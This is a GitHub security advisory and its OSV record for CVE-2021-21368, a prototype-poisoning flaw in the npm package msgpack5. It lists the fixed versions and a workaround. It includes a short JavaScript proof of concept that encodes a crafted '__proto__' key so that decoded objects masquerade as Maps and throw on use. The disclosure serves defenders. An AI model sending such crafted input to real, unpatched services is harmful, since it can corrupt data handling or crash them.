ghsa-gmjw-49p4-pcfm
Vulnerability from github
Impact
The issue is as follows: when msgpack5 decodes a map containing a
key "__proto__", it assigns the decoded value to __proto__. As you
are no doubt aware, Object.prototype.__proto__ is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__ decodes to an object or null, msgpack5 sets
the decoded object's prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length,
numeric properties, and push et al if __proto__'s value decodes to
an Array); and/or may throw unexpected exceptions when used (for
example if the __proto__ value decodes to a Map or Date). Other
unexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
```js const msgpack5 = require('msgpack5')();
const payload = {}; Object.defineProperty(payload, 'proto', { value: new Map().set(1, 2), enumerable: true });
const encoded = msgpack5.encode(payload); console.log(encoded); //
const decoded = msgpack5.decode(encoded);
// decoded's prototype has been overwritten console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } console.log(decoded.get); // [Function: get]
// decoded appears to most common typechecks to be a Map console.log(decoded instanceof Map); // true console.log(decoded.toString()); // [object Map] console.log(Object.prototype.toString.call(decoded)); // [object Map] console.log(decoded.constructor.name); // Map console.log(Object.getPrototypeOf(decoded).constructor.name); // Map
// decoded is not, however, a Map console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false
// using decoded as though it were a Map throws try { decoded.get(1); } catch (error) { console.log(error); // TypeError: Method Map.prototype.get called // on incompatible receiver # } try { decoded.size; } catch (error) { console.log(error); // TypeError: Method get Map.prototype.size // called on incompatible receiver # }
// re-encoding the decoded value throws try { msgpack5.encode(decoded); } catch (error) { console.log(error); // TypeError: Method Map.prototype.entries // called on incompatible receiver # } ```
This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to msgpack5 values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).
Patches
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Workarounds
Always validate incoming data after parsing before doing any processing.
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21368"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-12T16:57:44Z",
"nvd_published_at": "2021-03-12T17:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver\u0027s prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object\u0027s prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`\u0027s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require(\u0027msgpack5\u0027)(); \n\nconst payload = {}; \nObject.defineProperty(payload, \u0027__proto__\u0027, { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // \u003cBuffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02\u003e \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded\u0027s prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 =\u003e 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #\u003cMap\u003e \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #\u003cMap\u003e \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #\u003cMap\u003e \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value\u0027s prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer\u0027s code). \n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)",
"id": "GHSA-gmjw-49p4-pcfm",
"modified": "2021-03-12T16:57:44Z",
"published": "2021-03-12T22:44:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21368"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v3.6.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v4.5.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v5.2.1"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/msgpack5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype poisoning"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.